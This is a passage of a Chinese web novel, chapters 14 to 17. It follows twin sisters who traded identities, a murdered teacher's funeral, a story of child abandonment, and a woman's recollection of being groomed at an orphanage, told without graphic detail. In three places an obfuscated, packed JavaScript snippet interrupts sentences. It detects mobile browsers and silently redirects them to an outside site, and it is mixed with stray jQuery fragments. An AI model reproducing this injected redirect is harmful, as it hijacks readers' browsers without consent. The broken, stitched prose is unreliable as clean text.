我挣扎着从水面浮了上来,大口地呼吸,企图攥取所有的新鲜空气。
然而我用力呼吸过了度,我的气管像坏了的风箱一样猛烈地呼啦作响起来,心脏随着呼吸一阵阵地抽疼,疼得我眼前发黑,几乎要晕厥过去。
老板的声音在我耳边回响,忽近忽远。
谁摘下了我的口罩。
“客人,客人,你——”
我猛地抬头,看着老板。
他的神色在看见我的一瞬间变了。
先是非常惊讶,瞪大了眼,嘴唇颤抖着,混杂着震惊,不可思议,怀疑。
接着似乎意识到自己失态了,换上了刚才那副生意人客气笑迎四方财的态度。
“是你啊!”他拍了拍我的肩膀,笑了起来,“你前几天老来我的店里,你今天怎么戴口罩了呀?我刚才没注意看,都认不出来哈哈哈。”
我无法回答他。只能呆呆地看着他夸张地表演。
“对了你上次说你叫什么来着?”
14. 重生
后来他说了什么我忘了。
我回答了什么我也忘了。
我只是沉默地吃着饭,全靠简单的肌肉运动,机械地,一口一口往嘴里喂着饭。
全凭本能在进食。
我一定漏掉了什么。
我满脑子都是这个想法。
我拿出了我的手机,按到了短信页面,一条一条地检查信息,没有任何新消息。
我锁了屏,看见上面显示出日期。
这几日我恍恍惚惚,外面阴雨连绵,我过得昼夜不分,完全不清楚今天具体是几号。
我瞥到了上面的日期。
5月15日。
很熟悉的日期。
我好像在哪里看见过……
我猛地站了起来,一瞬间心跳声震着耳膜,引起刺耳的耳鸣,我的呼吸又变得急促起来。
因为我起来的动作太大,正在柜台后面收钱的老板抬头看了我一眼。
这几日一片混沌的脑子从未像此刻这般清醒过,当所有的线索像珠子一样一颗一颗地串了起来的时候,我忽然发觉,我早已在局中。
我抬起头,看见了老板安装的监控摄像头,对着我。
我甚至可以从镜头里看见我的脸。
施宜。
我忽然明白了她想干什么。
我转身向店门口跑去,外面正下着瓢泼大雨。
老板看我状态不对劲,也跟着追了出来,拉着我,问我需不需要伞。
我忘了我是点头还是摇头了,老板见状,不由分说地把伞塞到我手里。
我甚至没来得及感谢他一句,就冲进了雨里。
最完美的杀人弃尸之地。
河边。
伞拿在手里沉甸甸的,我没有打开它,我径直冲进雨里,在雨中不停地奔跑。
世界好像在那瞬间湮灭了,只剩下耳边高亢的雨声,如鼓点般,敲打着我的耳膜和心脏,我的眼睛被雨打得睁不开眼,浓重的黑暗只有几点微末的亮光,我在雨中如一只横冲直撞的受伤的小兽,闻到血腥味就发了狂,不顾后果地往前冲。
我一口气跑到了河边。
雨还在下,一片黑暗中,我什么也看不见,只向着河岸走着。
暴雨把原本就泥泞的河岸搅得如泥浆沼泽一般,每走一步就会深陷其中,我走到了河岸边,心里有种强烈的预感,就是这儿了。
可我什么也没看见。
我只听见暴烈的雨,和黑夜里汩汩奔流的,泥沙俱下的河流声。
平日里平静温柔和小溪此刻变成了巨大的不知名怪物,嘶吼着,咆哮着,似乎从它的齿间能嗅出浓烈的血腥气。
它永远在奔流,昼夜不息,卷走沿途的一切,泥沙,砂砾,树枝,还有动物的残骸。
黑暗里,好像有什么东西在微微反光。
我走过去,捡起了那枚陷在泥土里的半截闪光物。
是施宜的校徽。红底白字,写着她的名字。
我走到河边,所有的一切都是黑的,可唯独那河面是亮的,亮得仿佛能吞噬我,河面冰冻三尺,成了一面平滑的镜子,我从上面看见了我的倒影。
是施宜。
从捡到校徽的那一刻,我就成了她。
我把带着泥的校徽塞进口袋里,头也不回地离开了河岸边。
这场雨下了整整32天。
这是夏季来临前的最后一场暴雨。
2003年5月20日晴
我的杀人计划好像成功了。
——————————————————
我站在酒店的顶楼,点了一根烟。烟头的火光在黑暗中忽明忽暗。
夜幕沉沉,疏星点缀,万家灯火,千盏霓虹。
我站在天台的边缘,手撑着栏杆,往下看。
我从小的时候,就喜欢站在高处的边缘,既怕,又想要往下看,从高处往下看的时候,灵魂会眩晕。
我按灭了烟,把手揣进口袋里,摸到了一颗有些黏糊糊的巧克力。
我剥掉了外壳,把它塞进了嘴里,这个巧克力有点苦,苦涩包裹着甜蜜,很快就在舌尖融化。
我从包里拿出一本日记,封面依然是花花绿绿的图案,我掏出打火机,点燃了这本日记。
我看着火焰慢慢地吞噬它,一点一点的,直到最后,只剩下一堆纸灰,火光摇曳,我抬起脚,踩灭了它。
这是过去的魏冉。
我从包里又翻出了另一本日记。
那是邓娇给我的,施宜的日记。
她在日记的封面写了我的名字:魏冉。
上面其实只写了三四页。
第一页写着:我是一个凶手,我杀了一个人。
第二页写着:我找到了她。太好了,缠绕我童年的噩梦终于可以消失了。我又重新拥有了她,我想好好爱她。
第三页写着:我看见了她的计划。我删掉了她的短信。
第四页写着:活下去。
施宜,其实我骗了你。
我在很早之前就见过你了。
那时候,组织上有一个叫阿伟的大哥,他的额头上有个疤,小小年纪就长得凶神恶煞的。
有天,他拉着我到孤儿院附近,说他发现这儿有一些值钱东西,都在办公室里,让我进去偷,他也给我望风。
我饿急了,潜入孤儿院里先去厨房里偷了点东西吃,没想到被发现了。
身后传来急促的脚步声,我在走廊上迅速地跑过,就在匆忙之中,我看见了,悬挂在墙上的公告栏上的照片。
熟悉的眉眼和熟悉的脸。
我来不及想其它的,只能拐进尽头的空房间跳窗出去。
然后我看见阿伟在另一边的尽头放了把火。
微末的火苗泛起,以迅疾之势燎遍了整个孤儿院。
火光在我的眼前若隐若现。
我又点了一根烟,微微眯起了眼。
烟雾缭绕,模糊了光与暗的界限,霓虹灯一闪一闪,烟雾在黑暗中无声地升腾着,直至半空。
我盯着那点将散未散的烟雾看。
邓娇站在我的左边,苏晓雯站在我的右边。
我们在林常雄的葬礼上。
几个钓鱼佬凌晨去河边钓鱼,鱼没钓上,发现了一具尸体。
报警后,经过警方确认,是南湾中学的数学老师林常雄。
“老天有眼。”苏晓雯冷笑出声,“哪个看不过去的神把他收了,可惜溺死真是便宜他了,死前没再被捅几刀。”
我想纠正他下地狱是西方的说法,但我懒得开口。
一片哭声之中,我看向灵堂上的那张照片,眉眼端正,一张好的皮相下是腐烂的灵魂。
人类可真是复杂。
“林老师真的很好……”有几个学生在安慰着林常雄的妻子,他的妻子在旁边站着,眼眶微红,神情呆滞。
“失去这么好的一位老师……我真是……”苏晓雯顿了顿,随后拉长了声音嘲讽道,“太——伤——心——了——”
邓娇看不过去,轻声提醒她:“这是在哀悼会。”
“我知道啊。”苏晓雯翻了个白眼,“不然你以为我闲得无聊来他的哀悼会做什么?黄鼠狼会无缘无故去死去的鸡的葬礼吗?”
我头一次见到这个比喻还能用得如此清新脱俗。
刚想到这,苏晓雯就偷偷往我手里塞了一颗糖。
我看向她。
她挑了挑眉:“上次我表姐结婚,我存的,还有好多颗,怎么样?”
我简直无话可说。
葬礼上发喜糖,也就只有苏晓雯能做得出来了。
她还继续说:“橘子味的。特意给你留的。”
真是谢谢你了。
我看向手里的糖,说道:“我不喜欢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456739|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,换一个。”
苏晓雯啧了一声,不满道:“你怎么回事,你之前不是很喜欢橘子味的糖吗?什么都要吃橘子味的。”
我麻木地垂下眼:“现在不喜欢了。”
苏晓雯也没说什么,又拿出一颗苹果味的糖塞我手里,又给邓娇塞了个巧克力。
“一起吃糖庆祝庆祝。”苏晓雯在旁边怡然自得地嚼着糖,因为是硬糖,嚼的声音很大声,有几个人向她投来了奇怪的目光,但她丝毫不在意,依然继续咀嚼。
灵堂里十分安静,只有偶尔几声小声的啜泣声。
“从两年前,每一天,每一时,我看到他,都盼着他早点去死。”苏晓雯忽然低声说,“施宜,你也是吧。”
我咬紧了后槽牙,没说话。
“他想这样就可以毁了我,毁了我们。”苏晓雯轻笑出声,接着,我听见她轻叩后牙的声音,她近乎咬牙切齿地说,“他休想。”
“去送花吧。”我走向了棺材边。
苏晓雯也跟着我走了上去。
我把白花放在了棺材边上。
苏晓雯和邓娇也把花放了上去。
我盯着那张黑白的遗照没说话,苏晓雯先开口了。
“您老一路走好,路上孤单的话记得把段景曜也带上。”
我忍不住看了她一眼。
苏晓雯压低了声音说:“你不是知道么?林可欣的失踪肯定和他有关系。之前林可欣被打,他强迫林可欣和他上床,林可欣的身上都是烟头烫出的痕,看了就吓人。”
我点了点头,终于说了一句较长的话:“希望如你所愿。”
“我许愿很灵的。”苏晓雯呵呵一笑,“你等着看吧。”
我实在有些头疼。
施宜以前到底是怎么和她们相处的?
出了葬礼现场,我们在不远处的几棵柳树下站着,苏晓雯在旁边嚼着她的糖,糖在嘴里咬碎的嘎吱声清脆响亮。
春雨连绵的日子已经过去,温度一下子飙升到二十度以上,正午的阳光亮得有些晃眼。
“诶,今天魏冉怎么没来?”苏晓雯忽然问我。
“她生病了。”我直直地看着前面,柳树的纸条在我眼前拂过。
“难怪呢。”苏晓雯点了点头,又换了个话题,“半个月就要高考了,你们的志愿都想好了吗?”
一直沉默的邓娇却突然出声:“我想报警察大学试试。”
这下不止苏晓雯惊讶了,连我也有些震惊。
“你?”苏晓雯瞪大了眼睛,她眼睛本来就大,睁大眼睛的时候显得眼睛又大又圆,像圆滚滚的团子,“胆小鬼,你真可以做来这事吗?”
邓娇又沉默了,她抿了抿唇:“想试试。”
“哇,了不起。”苏晓雯喃喃地说,“真厉害。”
“那你呢?施宜?”
我只淡淡地搪塞过去:“再看看吧,还没想好。”
“你之前不是说想学医吗?”苏晓雯问,“又不想了吗?”
“人是会变的。”我笑了笑,把话题又推了回去,“那你呢?”
“我啊,我的话,之前想学工商类的吧,想进公司赚钱来着,现在,我也不确定了。”苏晓雯思索片刻,“算了,先考完高考再说吧。”
我嗯了一声。
柳树柔软的枝条在我眼前晃晃悠悠地飘过,在风中不断缠绕又分开,如同在河边告别的恋恋不舍的恋人。
“庆祝一下。”苏晓雯不由分说地给我俩一人塞了一根棒棒糖,自己也拆了一根,叼在了嘴里。
“庆祝什么?”邓娇懵懵地问。
“庆祝我们的重生。”苏晓雯语气轻快地说。
我看着手里的那根棒棒糖,是草莓味的,含在嘴里很甜。
我眯着眼,看向远方袅袅升起的云烟,心想,我们的生日也在今天,施宜。
这就是你想要的重生么?
15. 姐姐
我在酒店里待了三天。
将近年关,街道上变得热闹了许多,车辆和人流来来往往,车水马龙,喧闹繁杂。
连酒店的大堂也布置成了过年的模样,贴起了红对联,挂起了红色中国结,打眼望去,大片大片的红。红得有些扎眼。
我穿过大堂打算按电梯上楼,大堂柜台的小妹突然叫住了我。
我走了过去,她笑眯眯地给了我一把糖。
“酒店老板娘结婚,给您一把。”
我道了声谢谢。
她看着我:“后天就是除夕夜了,您过年不回家吗?”
其实我家就在距离我5km不到的地方,但我不打算回去。
我摇了摇头:“不回去了。”
“这样,那您等会儿。”
她这么说着,就踩着高跟鞋跑开了。
我在前台等她等得无聊,瞥了一眼正在播放的电视新闻。
是一则寻亲新闻。
最近在电视上频繁地见到寻亲新闻。
早年儿童拐卖一度非常猖獗,尤其在南方小城市,基本很多儿童都从小被家长耳提面命,陌生人搭话或者给糖一定不能理会。
从此在孩子们的心里,陌生人约等于人贩子,有人搭话就跑远,看到面包车就要远离。
新闻上面报道说,有一对父母在寻找18年前走丢的一对双胞胎女儿。
18年前,大约是90年代,父母只有一张女儿们的黑白照片,正好是在生日那天照的,两个双胞胎女儿手牵着手,对镜头笑得一脸灿烂。
父亲在镜头前哭着说,家里除了这对女儿还有一个小儿子,小儿子去年车祸意外去世,妻子一病不起,一直在念叨着走失的双胞胎女儿,妻子已经时日无多,最后的遗愿就是想找到女儿,再见一面女儿。
他对镜头展示着女儿们唯一的黑白照片,说女儿名字叫王晨和王夕。希望有见过的好心人提供线索。
然而已经十七年过去了,凭着一张黑白照片找人,简直无异于大海捞针。
我盯着那张黑白照片看得出神,前台小妹什么时候回来了我都没发觉。
她递给我一盒精致的礼盒,说是酒店赠送的,祝我新年快乐。
我笑着说了声谢谢,转头从前台离开,耳边还依稀回荡着那位母亲低低的哭声。
我走进了电梯,心里很平静,甚至不起一丝波澜。
既然如此,当初又为什么要丢掉孩子?
什么走失,统统都是假的。
明明是父母抛弃了孩子。
骗女儿们要出去玩,骑上三轮车,带着两个女儿,来到了千里之外的地方,在寒冬腊月的夜里,植物的叶上都凝结了一层雪白的霜,把两个女儿带上山,说要砍柴,然后再趁女儿们不注意偷偷下山,把两个刚过五岁生日的女儿抛弃在冬日的大山里,抛弃在野兽出没的深山里。
如果不是想要她们死,没有第二种解释。
那天夜里很冷,冻得人都失去知觉,女儿们发现父亲跑走了,就急忙在后面追,她们喊着父亲的名字,大声喊着,四处黑暗的深山如同四面回音壁,不断回荡着她们的声音。
连山都听见了,可她们的父亲并没有听见。
她们跑啊跑,企图追上父亲的背影,然而父亲的背影却越来越小,最后嗖地一下,消失在了黑暗中。
她们跑累了。在原地喘着气。
她们并不知道,她们其实是被抛弃了。
她们也不知道,原来在这个世界上,有人的出生即是原罪。
女儿,还是双胞胎。
注定成为一个不富裕的家庭的眼中钉,肉中刺。
奶奶的白眼,父亲的叹气和母亲的眼泪。
是她们来到这个世界上,世界送给她们的三个礼物。
姐姐爱着妹妹,虽然她们出生时间只差一分钟,甚至更少,然而她们从诞生的那一刻起,就和彼此同享一个温室,她们注定无比亲密,任何的一切都无法将她们分开。
姐姐看着妹妹,就像看着另一个自己。
她像以前无数次一样,安慰妹妹,我们一定会走下山的。
于是她们走走停停,最后停在了半山腰,天边已经渐显鱼肚白,另一个清晨即将要到来。
妹妹走不动了,她坐在路边,说口渴,想喝水。
这深山里哪里有水?
姐姐很发愁,她想劝妹妹再忍忍,等下山了再喝水,但妹妹精疲力竭,口干舌燥,疲惫和无助一齐涌了上来,她坐在路上哭了起来,说现在就想喝水,不然走不动了。
姐姐无奈,只好叮嘱妹妹一定要在原地等她,她出去找水,很快就回来。
妹妹连忙答应下来。
姐姐一步三回头,生怕妹妹不见了。
然而,妹妹在原地等啊等,从天边泛白的破晓等到了漫天金光的朝霞,她看着朝霞慢慢被云朵遮住,还没等到姐姐回来。
她着急了。
她来回不断地踱步,最后她等不住了,踉踉跄跄地迈起步伐往下走。
刚下了几个台阶,就撞见了一个扛着锄头往上走的男人。他手里拿着一大瓶水。
妹妹早已忘了父母姐姐曾和她说过的话,此时此刻,生存的本能已经压过了一切,她无法拒绝基因里对水源的渴望。
所以她问,能不能给我喝点水?
命运就此分岔。
在此后的十二年里,妹妹一直以为是姐姐抛弃了她,就像父母抛弃了她们一样,姐姐也嫌她累赘,把她抛弃了。
也或许,这一切都是父母和姐姐一起策划的。
她曾听过母亲和父亲的谈话。
父亲说,家里两个女儿,太多了,没什么用,多了两双筷子就要多负责两个人的量。
母亲说,最起码也要养到成年吧。
父亲说,有什么用,现在的彩礼就那么点,不够给小龙娶媳妇的,小晨倒是乖一点,小夕太闹了。
母亲没说话,只是一如既往地沉默着。
年幼的她不能够完全理解大人的谈话,但她敏感地捕捉到了父亲对她的厌恶。
她害怕被抛弃,于是从那天开始,她努力地帮忙去做家务,可是她笨手笨脚,还打碎了两个碗,直接被父亲一顿暴打,那天被关在柴房里,一粒米都没吃到。
柴房又暗又闷,她只能小声地捂住嘴哭着。
姐姐偷偷跑到柴房给她送了个馒头,看着她狼吞虎咽地嚼着馒头,姐姐伸出手摸了摸她的头,然后轻声说,以后你什么都不用做,我来做就行了。
她觉得很委屈,又委屈又郁闷,明明姐姐和自己一样大,为什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456740|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么姐姐那么懂事乖巧,事事都做得好,而自己却什么也做不好,天天被嫌弃。
姐姐笑了笑,说没事,小夕只要开心就好了。姐姐会保护小夕的。
姐姐的那句话一直铭刻在她的心里。
然而那十二年以来,她早已淡忘了一切,唯独固执地认为自己被所有人,包括姐姐抛弃了。
她恨所有抛弃她的人,恨之入骨。
她十二年来鲜血淋漓地活着,都凭借着那股顽强的恨意。恨意让她成长,恨意让她强大。
直到她再一次见到了失散多年的姐姐。
已经十二年过去了,但她还是在见到姐姐的第一眼就认出了她。
那双和自己一模一样的眼睛,她怎么可能认错?
但她并不想上前认她。
因为她看见了姐姐和自己截然不同的生活,她的恨意又重新蠢蠢欲动起来,这种恨意还掺杂着微妙的嫉妒。
凭什么?凭什么我被抛弃,而你可以过得这么好?
所以她只是不动声色地拉了拉口罩。
她觉得自己本该恨她的。
可是当她看见姐姐身上的疤痕,看见姐姐的眼泪,她发现,原来自己根本不恨她。
所谓的恨意全是假的。是个一戳就破的谎言。是她虚张声势的惶恐。
她爱她。
所以那些伤痕,那些眼泪,那些痛苦,都一同流入了她的心里,她的身体里,就像本来就存在那般,自然而然。
爱意原来就在那里,从来不需要费力提取,它只是存在着。
她忘了,这么些年,她的颠沛流离,在看见姐姐的那一刻,她觉得都不重要了。
姐姐认出她的时候,她的心里是窃喜的。
她看着姐姐愣住的眼神和表情,扬起了脸。
这么多年,我还是找到你了,是不是很厉害?她说。
姐姐失笑,说果然很厉害,就像小时候每次捉迷藏,你每次都能找到我。
她也笑了,她真的觉得自己很厉害,每次捉迷藏,都能准确找到姐姐藏到哪里。
可是她从来没有认真想过,那不过是因为,姐姐想要让她找到罢了。
就像一开始,她拉了拉口罩,和姐姐隔空对望的那一眼,其实姐姐早已认出了她。
这个世界上,怎么会有人认不清镜子里的自己呢?
她原本以为,这样的日子可以持续很久。
她重新拥有了自己的亲人,甚至还有朋友。
就好像逝去已久的童年又重新拥抱了她。
可是,在夏日来临之前的暴雨夜,她再次失去了姐姐。
这一次,姐姐躲得太好了,无论她怎么找,找了多少年,都找不到那个熟悉的身影。
就好像,她真的从这个世界上消失了,悄无声息,如一滴水融入大海。
姐姐对她说,活下去。
她代替姐姐活下去,接过了姐姐所有的,未完成的复仇。
从此之后,她成了姐姐的影子。
在那个暴雨夜,她往回走,雨滴打在她身上,很痛。
她想,姐姐应该是自由了。
我应该为她感到高兴。
也许她根本不想当谁的姐姐,谁的女儿,她只想当她自己。
那就祝她成为她自己。
16. 霍春
三月末,南湾市讨厌的回南天又开始了。
夏日来临之前连绵不断的雨季再次到来。
天边乌云翻涌,黑压压地聚拢在一起,宛如扣了顶巨大的闷锅,空气又潮又黏,化作水汽从皮肤的每个毛孔渗出来。
霍春刚从公交车下来,她左手拿着一大袋菜,右手狼狈地夹着断了一半袋子的帆布袋,帆布袋里鼓鼓囊囊地装着一大袋东西,等她狼狈地从人群中挤出来,脚甫一落地,公交司机就等不及一脚油门,猛地往前窜去,挤进汹涌的车流之中。
霍春感觉今天的天气闷热得有些头晕,她擦了擦额头上的汗,脚步蹒跚地往不远处的家走去。
她住在一个老式小区里,小区里没有电梯,也没有保安,楼道里经常有积累多天没有处理的垃圾,天一热,就散发着难闻的味道。
她家住在七楼,对她而言,每天爬七楼成了一件颇具挑战的事情。
待她扯着两大袋东西,费劲地爬上了七楼,她早已汗流满面,气喘吁吁。
从口袋里哆哆嗦嗦拿出钥匙,再开了门,她总算可以松一口气,然而她那口气还没完全松下来,她就看见家里的客厅里坐着一个人。
是她的儿子。
她松下来的那口气登时又提了上来。
她浑身的肌肉都绷紧了,心口一窒。
儿子今年二十二岁,算是年轻有为的青年才俊,在大公司里当部门总管,周围的人都对她儿子赞不绝口。
但她一直觉得儿子是讨债鬼。
霍春一见到儿子就紧张。
儿子看见她回来了,笑着过来迎接她。
“妈,你回来了。”
霍春点了点头,有些拘束地笑了笑。
儿子过来帮她殷勤地提东西,帮她把东西拿到厨房里。
“有什么需要我帮忙的尽管叫我。”
儿子放下东西,丢下这句话后,就跑到客厅去继续工作了。
霍春倒也不怎么在意这件事,毕竟如果儿子真的要帮她,她反而不自在。
她把生菜切好,煮了一遍,滤水下锅,加了点老酒,又煮了锅排骨玉米汤。
厨房里一派繁忙,浓郁的饭香味随着油锅溅炸的噼啪声传了出来。
之后她把这些菜都端上了餐桌。
“饭好了,来吃吧。”霍春叫着在大厅里工作的儿子,然而眼睛却没有看他一眼。
待她放好了碗筷,把一切都准备就绪,儿子才放下手里的工作,姗姗来迟。
“妈,我带了两瓶酒,您也喝点。”
儿子拿出两瓶白酒,放在桌子上。
霍春的眼睛飞快地瞟了一眼那两瓶白酒,摇了摇头:“我喝不了酒。一喝就头晕。你喝。”
儿子似乎有些失望,但也没再劝,只点了点头。
“那妈我自己喝点。”
一顿饭,两人对着坐着,饭桌上只听得见筷子和勺子轻碰碗壁的清脆声响。
儿子今天似乎情绪不佳,吃一口饭,夹一口菜,就猛灌几口酒。
饭菜还剩大半,酒却只剩下一点了。
霍春怕他喝得猛,醉酒又出事,只好出声提醒他:“你小心点喝,会醉。”
儿子的脸颊上泛了红,他点点头,放下酒杯,对霍春笑了笑,说:“还是妈对我好。”
霍春扯出一个有些心虚的笑,低头继续扒饭。
儿子又抿了口酒,晃了晃酒杯,看着里面略显浑浊的液体在左右晃动。
霍春给他夹了片牛肉,说:“下酒。”
然后她又低下头去吃饭。
儿子道了声谢谢,目光落在了压在餐桌旁边筷子盒底下的报纸。
那是霍春买回来的报纸,是前几日的。
霍春有买报纸的习惯,但她很少阅读报纸,那些买来的报纸被她一张张叠起来,要么垫在桌面上当桌布,要么贴在厨房的墙上,防止油烟熏染。
他看见露出的报纸一角标题上写着“南湾中学小树林发现尸体。”
他的眼神有一瞬间的停滞,随即又若无其事地移开,又喝了一杯酒。
霍春吃完了饭,先去厨房收拾洗碗,儿子一个人在餐桌旁边饮酒。
等到霍春收拾得差不多了,她把围裙脱了下来,看了一眼儿子。
儿子还坐在桌子边,呆呆地望着某处,喝着酒,一副借酒消愁的模样。
霍春不太管儿子,她也不习惯和儿子相处,母子之间的相处非常僵硬,不像世界上本该最亲密的人,而像被绑着生活在同一个屋檐下的两个陌生人。
但看到此情此景,她也忍不住坐到儿子旁边,轻声细语安慰道:“是遇上什么难事么?”
儿子抬起头,眼睛泛着红,嘴唇微微颤着,似乎要对她说些什么。
霍春耐心地看着她,直到她口袋里的手机突兀地响了一声。
她略带歉意地对儿子点了点头,拿出手机看了一眼,她盯着手机屏幕,有一瞬的出神,然后她伸出手,在手机屏幕上按了几下,又把手机塞回了口袋里。
“有什么事,讲出来就好了。”她看向儿子,声音温和地说。
儿子低垂着眼,然后说:“我准备辞职搬到别的城市了。离开南湾市。”
霍春有些惊讶:“为什么呀?”
儿子仰头把酒瓶里的酒一饮而尽,接着看向霍春,他喝得有些醉,连眼圈都泛着红。
他接下来说出的话却让霍春再也忘不了。
“妈,我告诉你,我杀了一个人。”
————————————
霍春今年三十七岁。
她从未做过什么勇敢的决定。
她就像千千万万其它妇女一样,只想安安分分过日子,守着自己的一亩三分地,平静地,不受打扰地活着。
她还是个婴儿的时候,就被父母遗弃了,父母将她丢到河边,自生自灭。
有个好心人捡到了她,把她送到了附近的孤儿院。
她从有记忆起,就住在孤儿院里了。
孤儿院就是她的家。
她在孤儿院里还算顺遂无忧地长大,为了博得孤儿院老师和院长的喜爱,她勤快,做事积极,乖巧懂事,让她做什么她就做什么,绝无二话。
孤儿院的老师们都对她赞不绝口,很放心地把事情托付给她去做,霍春才十岁,就学会照顾比她小的弟弟妹妹。
在当时的孤儿院里,有个二十来岁的年轻老师,大家都对他十分恭敬,传说中他是院长的儿子,霍春年纪小,但很伶俐,也跟着别人一起叫他林老师。
林老师平时也对她青睐有加,经常让她到办公室帮忙整理文件,也经常关心她的饮食起居。
她对林老师很有好感,她从小就没受过什么长辈的关心,有这么一个年轻英
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456741|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
俊的长辈每天关心她,对她嘘寒问暖,她都一一记在心里,打算从此就把孤儿院当成她的家,哪儿也不去,就为孤儿院做事。
林老师知道她喜欢书,便经常给她带一些外面的书,都是崭新的,有着精致的封面,霍春一拿到就爱不释手。
她十四岁的时候,林老师忽然把她叫到办公室,她以为是有什么任务要吩咐她,待她进到办公室,林老师笑眯眯地递给她一个小礼盒。
她打开一看,里面是一根精致的钢笔。
她不解地看向林老师,林老师说这是给她的生日礼物。
这是她第一次收到生日礼物,她又惊又喜,感动得热泪盈眶,一直鞠躬向林老师道谢。
林老师拍了拍沙发旁边,示意她坐过来。
霍春坐了过去。
沙发很小,林老师一个人就占了一半多的位置,霍春体型瘦小,只能缩在旁边,然而就算这样,也和林老师挨得很近,腿挨着腿。
林老师拍了拍她的腿,又摸了摸她的头,笑着问了她一些近况。
那天下午聊了些什么,霍春早已忘记了,但她依然记得,林老师的手放在她腰上的触感,湿润的,宽厚的,林老师身上有种奇妙的气味,像青草的味道,又有烟熏过的淡淡的焦味。
也许她早应该意识到了。
但她才十四岁。
她分辨不清爱与控制,更分辨不清爱情与强迫,她只是本能觉得,林老师是个非常善良的好人,而她呢,她十分仰慕这位男人,就像溺水的人抓住了一棵浮木,从此之后,她将浮木竖在自己心里,每日对它祭拜,感恩它赐予自己一切。
林老师懂得很多,知识渊博,和她讲了许多外界的故事。
霍春时常听得入迷,连林老师什么时候把她轻轻拥入怀中都忘了。
也许是林老师描绘的外界过于吸引人,也许是书中的爱情过于浓艳悲丽,她到现在还记得,林老师第一次抱住她的时候,说喜欢她的时候,她整个人是黏糊的,她的心像被橡皮泥糊住了,五感也是,她在心里默念着,我很喜欢他,我非常仰慕他。
然而她还是控制不住在午夜梦回被惊醒,然后跑到卫生间呕吐。
她开始看大量的书籍,什么都看,从地摊上一元一本的巴掌大小的小说到孤儿院图书馆里的名著文学,她沉浸在书的海洋里,试图麻痹自己,也试图寻找答案。
她已经搞不懂这是什么情感,是什么关系了。
因为她没有选择。
孤儿院是她在这个世界上最后的家,没了孤儿院,她无家可归。
她只能关闭自己和外界的所有联系,用爱情的甜蜜外壳把这烂泥一样的畸形关系伪装起来,再麻痹自己。
她如提线木偶,机械地跟着他的指引,然而所有的爱恨,似乎都已经脱离了她的身体,她麻木地活着,一日复一日。
林老师给了她一枚戒指,是银质的,他给她戴了上去,说这是他们爱情的忠贞见证。
霍春点点头,然后绽放出漂亮得能迷惑人的笑容来,看了半天自己的手指,说好喜欢。
女孩子总是喜欢闪闪发光的东西,她也不例外。
但她并不知道这枚戒指就像一个圈,从此套住了她。
她和林老师越来越频繁地见面。
直到在某天,她惊恐地发现,自己的肚子像气球一样,凸出了诡异的弧度。
17. 寓言故事
霍春曾经在书上看见过一则寓言故事。
故事说,丈夫因为事情不顺,在电话里吼了妻子一顿,妻子非常不爽,便将怒气发泄在了写错作业的儿子身上,儿子的怒气无处发泄,只好踢了一脚蹲在旁边的小狗。
狗莫名其妙挨了一脚,到处乱叫,一口咬在了下班刚踏入家门的丈夫脚上。
这是一则很有趣的寓言故事,表面上,它是在劝人们收敛情绪,实际上,这则故事涉及到的是权力的隐形压迫和因果轮回。
但霍春看到这则寓言故事时太小了,她没想到,这其实是一则现实向寓言故事。
这则寓言故事在轮回了二十二年后,终于落在了她的头上。
霍春听着儿子断断续续的讲述,一直坐在位置上没有挪动一丝一毫。
她觉得自己灵魂早已出窍,只剩一具□□还在麻木地聆听着。
儿子哭诉哭得累了,扯住她的胳膊,一直重复地呢喃着,母亲你一定不会说出去的对吧,你一定会站在我这边的,对吗?
霍春不知道。
林老师骗了她。
她的林老师把这段感情弃如敝履,在她生下孩子后就斩断了一切,甚至离开了孤儿院。
霍春继续留在孤儿院工作,没人问她消失的那六个月是去哪里了,也许也没人在乎。
她一直待到了十八岁,院长找到她,说可以让她留下来做手工课老师,她也可以选择走,一切看她。
霍春选择了留下来。
她不知道除了孤儿院,她还有哪里可以去。
她开始认真工作,照顾着比她小的孤儿院的妹妹们。
其中有几个妹妹她很喜欢,也引起了她的注意。
那几个妹妹们聪明伶俐,做事麻利勤快,也乖巧懂事,和她当年很像。
她很喜欢她们,会多教她们一些手工,也会在外出采购的时候自己掏钱给她们买糖吃。
有一个叫施宜的,她印象深刻,虽然施宜不怎么说话,但她的那双眼睛,透着股倔强的沉静,那双眼睛一看就是聪明人,霍春这么判断。
有一次,她在教小朋友做手工,因为另一位老师请假了,只有她一人,要带两个班,两个班将近八十人,挤在狭窄的教室里,闹哄哄的。
她一个头两个大,既要顾这又要忙那,按下葫芦浮起瓢,忙得根本无暇顾及其它。
